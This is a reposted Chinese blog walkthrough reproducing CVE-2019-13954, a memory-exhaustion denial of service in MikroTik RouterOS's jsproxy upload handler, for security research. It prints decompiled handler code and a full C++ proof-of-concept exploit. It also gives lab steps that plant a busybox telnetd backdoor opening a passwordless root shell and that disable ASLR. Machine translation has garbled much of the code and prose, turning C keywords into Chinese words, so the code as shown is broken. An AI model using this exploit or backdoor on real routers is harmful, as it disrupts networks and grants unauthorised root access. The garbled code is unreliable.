CVE-2019-13954之MikroTik RouterOS内存耗尽

admin 2022年7月24日22:36:46评论1 views字数 6915阅读23分3秒阅读模式

MikroTik RouterOS-CVE-2019-13954漏洞复现

产品描述:

Mikroik RouterOS是一种路由器操作系统,其通过PC电脑成为专业路由器,并通过该软件成为专业的软件,历来不断更新和改进,在不断更新和完善。路由器操作系统具备多种路由系统的功能、ISP网路接入社区、ISP网路接入点等功能,备受业界瞩目。等网络设备的接入架构,基于标准的x86。

漏洞利用分析:

漏洞描述

CVE-2019-13954MikroTik RouterOS中的一个memory exhaustion漏洞。认证的用户通过构造并发送特殊的POST请求,服务程序在处理POST请求时会出现“死”循环memory exhaustion,导致,导致服务程序崩溃或系统重启。

漏洞原理

根据漏洞公告中提到的"/jsproxy/upload",在6.42.11版本中:

int  __cdecl  JSProxyServlet :: doUpload ( int  a1 ,  int  a2 ,  Headers  * a3 ,  Headers  * a4 ) { //... 
while ( 1 )
{
sub_51F7 ( v37 , & s1 ); //读取请求POST
if ( ! s1 )
break ;
v14 = - 1 ;
v15 = & s1 ;

{
如果 ( ! v14 )
休息;
v16 = * v15 ++ == 0 ;
-- v14 ;
}
( ! v16 );
if ( v14 != 0x100u ) //数据长度限制
{
v36 = 0 ;
字符串::字符串((字符串 * ) & v46 , & s1 );
v17 = 标题:: parseHeaderLine ((标头 * ) & v47 , ( const string * ) & v46 );
字符串:: freeptr ((字符串 * ) & v46 );
如果 v17
继续
}
字符串::字符串((字符串 * ) & v46 , "" );
响应:: sendError ( a4 , 400 , ( const string * ) & v46 );
字符串:: freeptr ((字符串 * ) & v46 ); LABEL_60 :
tree_base :: clear ( v19 , v18 , & v47 , map_node_destr < string , HeaderField > );
转到 LABEL_61 ;
}
//... }

40 时,在确定之前的版本 6.5.5,增加了对读取POST请求数据长度的:当长度超过0x100(包括最后的'x00')循环时会跳出

6.40.5版本:

int  __cdecl  JSProxyServlet :: doUpload ( int  a1 ,  int  a2 ,  Headers  * a3 ,  Headers  * a4 ) { 
// ...
while ( 1 )
{
sub_77464E9F ( v27 , ( char * ) s1 ); // 读取POST请求数据
if ( ! LOBYTE ( s1 [ 0 ]) )
break ;
字符串::字符串((字符串 * ) & v36 , ( const char * ) s1 );
v11 = Headers :: parseHeaderLine (( Headers * ) & v37 , ( const string * ) & v36 );
字符串:: freeptr ((字符串 * ) & v36 );
如果 v11
{
字符串::字符串((字符串 * ) & v36 , "" );
响应:: sendError ( a4 , 400 , ( const string * ) & v36 );
字符串:: freeptr ((字符串 * ) & v36 );
LABEL_56 :
tree_base :: clear ( v13 , v12 , & v37 , map_node_destr < string , HeaderField >);
转到 LABEL_57 ;
}
}
// ... }

观看sub_51F7功能:

char  * __usercall  sub_51F7 @ < eax > ( istream  * a1 @ < eax > ,  char  * a2 @ < edx > ) { 
const char * v2 ; // esi
char *结果; // eax
unsigned int v4 ; // ecx
v2 = a2 ;
istream :: getline ( a1 , a2 , 0x100u , 10 );
结果 = 0 ;
v4 = strlen ( v2 ) + 1 ;
if ( v4 != 1 )
{
结果 = ( char * ) & v2 [ v4 - 2 ];
如果 ( *结果 == 13 )
*结果 = 0 ;
}
返回 结果}

为了准备程序前,我们要让程序有两个条件循环

  • 调用sub_51F7,无法读取到数据

  • 调用Headers::parseHeaderLine(),解析失败

其中第一个很好的满足,因为每次输入都失败了。至于下线解析失败,POC条件可以推测出,从没有连接行切换,会认为输入流关闭,此时调用相当于返回标题行解析由于没有接收到换行一直持续下去。而导致不能循环退出。

而在增量增加了对字符长度的直接判断,后侦查到输入大于0x100000字节的循环循环。

正常getline是回车,结束。

  • 遇到直接结束。

  • 遇到回车结束然后把回车替换成

因此,我们可以直接在循环中加入,因此我们可以直接在循环中加入,因此决定了这个判断。

来了,如果问题里已经结束了,那么直接结束,我们就能得到最大的有效负载长度为 0x1000,但是基础触发条件没有了。

这样就不会存在最终的问题了,而且可以允许判断,同时大小大于0x100 \

因此,需要额外补充大量的,只需要在filename备用参数'x00',再次触发漏洞。

POC

#include  <cstdlib>#include  <iostream>#include  <boost/cstdint.hpp>#include  <boost/program_options.hpp>#include  “jsproxy_session.hpp”#include  "winbox_message.hpp"命名空间{ 
const char s_version [] = "CVE-2019-13954 PoC 1.1.0" ;
bool parseCommandLine ( int p_argCount , const char * p_argArray [],
std :: string & p_username , std :: string & p_password ,
std :: string & p_ip , std :: string & p_port )
{
boost :: program_options :: options_description 描述“选项” );
说明添加选项()
( "help,h" , "命令行选项列表" )
( "version,v" , "显示版本信息" )
( "username,u" , boost :: program_options :: value < std :: string > (), "登录的用户" )
( "密码" , boost :: program_options :: value < std :: string > (), "登录的密码")
( "端口,p", boost :: program_options :: value < std :: string > () -> default_value ( "80" ), "要连接的 HTTP 端口" )
( "ip,i" , boost :: program_options :: value < std :: string > (), "要连接的 IPv4 地址" );
boost :: program_options :: variables_map argv_map ;
尝试
{
boost :: program_options :: store (
boost :: program_options :: parse_command_line (
p_argCount , p_argArray , description ), argv_map );
}
catch ( const std :: exception & e )
{
std :: cerr << e 什么() << " n " << 标准:: endl ;
std :: cerr << 描述 << std :: endl ;
返回
}
boost :: program_options ::通知argv_map );
if ( argv_map .empty ( ) || argv_map .count ( " help " ) ) { std :: cerr << description << std :: endl ; 返回}




if ( argv_map . count ( "version" ))
{
std :: cerr << "版本:" << :: s_version << std :: endl ;
返回
}
if ( argv_map . count ( "username" ) && argv_map . count ( "ip" ) &
argv_map . count ( "port" ))
{
p_username . 分配argv_map [ “用户名” ] 。as < std :: string > ()); p_ip 赋值argv_map [ “ip” ]. as < std :: string >
());
p_port 分配argv_map [ “端口” ] 。as < std :: string > ());
if ( argv_map . count ( "password" ))
{
p_password . 分配argv_map [ “密码” ] 。as < std :: string > ()); }其他{ p_password 赋值“” );}返回} else { std :: cerr <<描述<< std :: endl ; }











返回
} }int main ( int p_argc , const char ** p_argv ) {
std :: string username ;
标准::字符串 密码;
标准::字符串 ip ;
标准::字符串 端口
if ( ! parseCommandLine ( p_argc , p_argv , username , password , ip , port ))
{
return EXIT_FAILURE ;
}
JSProxySession jsSession ( ip , 端口);
if ( ! jsSession .connect ( ) ) { std :: cerr << "连接远程主机失败" << std :: endl ; 返回EXIT_FAILURE }




// 生成会话密钥但不登录
if ( ! jsSession .negotiateEncryption ( username , password , false ) ) { std :: cerr << "加密协商失败。" << std :: endl ; 返回EXIT_FAILURE }




标准::字符串 文件名
for ( int i = 0 ; i < 0x50 ; i ++ )
{
文件名push_back ( 'A' );
}
for ( int i = 0 ; i < 0x100 ; i ++ )
{
文件名push_back ( 'x00' );
}
if ( jsSession . uploadFile (文件名, "lol." ))
{
std :: cout << "success!" << std :: endl ;
}
返回 EXIT_SUCCESS }

环境与听力复现

路由器操作系统环境

CVE-2019-13954可在系统版本6.42.11验证

MikroTik RouterOS镜像下载地址:https://mikrotik.com/download

使用虚拟机安装,点击VMware,安装所有,然后我选择安装默认就行

CVE-2019-13954之MikroTik RouterOS内存耗尽

安装成功后进入登陆页面,用户名是admin,密码为空

CVE-2019-13954之MikroTik RouterOS内存耗尽

虚拟机修改为NAT模式,和ubuntu在同一个子网下

虚拟机获取ip

ip dhcp-client add interface=ether disabled=no

查看虚拟机获取的ip

ip dhcp-client print detail

CVE-2019-13954之MikroTik RouterOS内存耗尽

获取完整的shell

文件下载

想要用什么样的方式来模拟和测试环境,RouterOS然后用什么样的方式来获取特定的界面比较,还需要用什么样的命令来演示实施改进的设备root shell

我们需要下载busybox(用于打开root后门)、gdbserver.i686(远程调试)

忙箱:wget https://busybox.net/downloads/binaries/1.30.0-i686/busybox

除了busybox,我们还可以通过https://github.com/tenable/routeros下的`cleaner_wrasse`利用漏洞开启后门

gdbserver.i686下载地址:https://github.com/rapid7/embedded-tools/blob/master/binaries/gdbserver/gdbserver.i686

硬盘挂载

这里我们使用 ubuntu 挂载 routeros 的石墨,在 ubuntu 的虚拟机设置中添加 routeros 的硬盘,此时需要将 routeros 的电源。

CVE-2019-13954之MikroTik RouterOS内存耗尽

挂载完成后,使用巴士访问挂载磁盘,将数据库服务器复制到/rw/disk并获得授权g777

/rw目录下写入一个DEFCONF脚本,使引导程序OS引导运行后门,使路由重启会失效。

ok; /rw/disk/busybox-i686 telnetd -l /bin/bash -p 1270;

这时,我们可以不通过用户名和密码就在ubuntu中直接telnet远程登陆RouterOS了

telnet ip port

CVE-2019-13954之MikroTik RouterOS内存耗尽

漏洞获取文件

在通过门登陆后,查看www和jsproxy.p所在的位置

find / -name wwwfind / -name jsproxy.p

这里可以通过工具Chimay-Red从官网上提取6.42.11版本的www、jsproxy.p

./tools/getROSbin.py 6.42.11 x86 /nova/bin/www www_binary_1./tools/getROSbin.py 6.42.11 x86 /nova/lib/www/jsproxy.p www_binary_2

编译生成POC

下载地址:https://github.com/tenable/routeros

环境:依赖

  • 提升 1.66 或更高

  • 制作

安装加速:

Ubuntu:

sudo apt-get install libboost-dev

需要提醒的是gcc版本需要失败6,否则会导致编译

编译生成cve_2019_13954的poc

cd cve_2019_13954mkdir buildcd buildcmake ..make

编译成功后使用,使用方式

CVE-2019-13954之MikroTik RouterOS内存耗尽

这里我们使用:

./cve_2019_13954_poc -i 192.168.111.17 -u admin

漏洞验证

与该相关漏洞的程序为www上利用gdbserver附加到该进程中进行远程调试,然后运行设备脚本PoC,直接发现系统重启。

在调试验证的过程中注意Linux默认了保护机制(寻找任务机制,通过泄露ASLR的内存泄露,以便方便使用ASLR)

sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

通过后门busybox登陆routeros,查看www的进程后,开启gdbserver附加www:

CVE-2019-13954之MikroTik RouterOS内存耗尽

./gdbserver.i686 localhost:1234 --attach 267

此时在ubuntu上开启gdb,准备调试,架构为i386,目标主机为192.168.0.113,端口为1234

gdbset architecture i386target remote 192.168.111.17:1234

CVE-2019-13954之MikroTik RouterOS内存耗尽

本地运行POC,info proc mappings查看当前已经加载的模块,可以看到jsproxy已经加载进来了

./cve_2019_13954_poc -i 192.168.111.17 -u admin

CVE-2019-13954之MikroTik RouterOS内存耗尽

在ida中找到要断点的函数偏移地址,从上传函数断点,做偏移量为8D08

将映射我们的基地址加上中地址就ok了,我们的断点proxy

b *0x774f9000+0x8D08

c一下发现系统直接重启了

CVE-2019-13954之MikroTik RouterOS内存耗尽

参考资源:

https://cq674350529.github.io/2019/08/15/CVE-2018-1158-MikroTik-RouterOS%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90% E4%B9%8B%E5%8F%91%E7%8E%B0CVE-2019-13955/

https://www.anquanke.com/post/id/254635#h3-8

https://github.com/BigNerd95/Chimay-Red

https://github.com/tenable/routeros

https://medium.com/@maxi./finding-and-exploiting-cve-2018-7445-f3103f163cc1

https://medium.com/tenable-techblog/make-it-rain-with-mikrotik-c90705459bc6

https://github.com/cq674350529/pocs_slides/tree/master/advisory/MikroTik

https://raw.githubusercontent.com/tenable/routeros/master/slides/bug_hunting_in_routeros_derbycon_2018.pdf

来源先知(https://xz.aliyun.com/t/11541#toc-0)


注:如有绘画请联系删除





CVE-2019-13954之MikroTik RouterOS内存耗尽

欢迎大家一起加群讨论学习和交流

CVE-2019-13954之MikroTik RouterOS内存耗尽

快乐要懂得分享,

加倍的快乐。


原文始发于微信公众号(衡阳信安):CVE-2019-13954之MikroTik RouterOS内存耗尽

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月24日22:36:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2019-13954之MikroTik RouterOS内存耗尽https://cn-sec.com/archives/1197877.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息